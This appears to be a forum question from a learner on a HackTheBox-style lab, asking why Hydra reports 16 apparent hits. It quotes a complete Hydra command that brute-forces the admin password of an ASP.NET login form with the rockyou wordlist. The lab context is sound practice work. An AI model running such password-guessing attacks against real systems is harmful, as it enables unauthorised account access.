Hydra several results

When I run the following command, I get 16 results under Hydra. How can that be? The command works without problems on my PC. But when I use a virtual machine like on HTB I get 16 results.

Why is that?

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.75.71 http-post-form ‘/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=dNfsVe8wQ3wpGoct6Ce6uDMtNhNrc8eogb8ALe%2F1gg4mZEX%2F2GE%2F3mfK4ObkpoZBJ6wc%2BDhk1B1Y0%2Fil4bZm6nRk6CUrcESt3H6l7PNdL%2FwmU9HZZWT3o%2FLN8kEsSG8DNkgE21nosApbTG4OAyPubzNHiYD48PQgLvHltVj3MsKkCEhr&__EVENTVALIDATION=J%2FaF1q%2BpTtV1dua6RoaSdgbnuoVtptkHT%2FKkQ3Kh7wviuMcK9sjy5H12HFhpgW7XE5hhLOsq9pNR0J5wxDqfQofDiJxNrNLhGghLrvAa2eCJtnG7cxXR5sLJ%2FHrO3hHnD9tQ5Xr2%2FL3BPIthXI%2FjNHVZ2jQxfgXLLPo%2FuLOzMCnTCoeL&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed’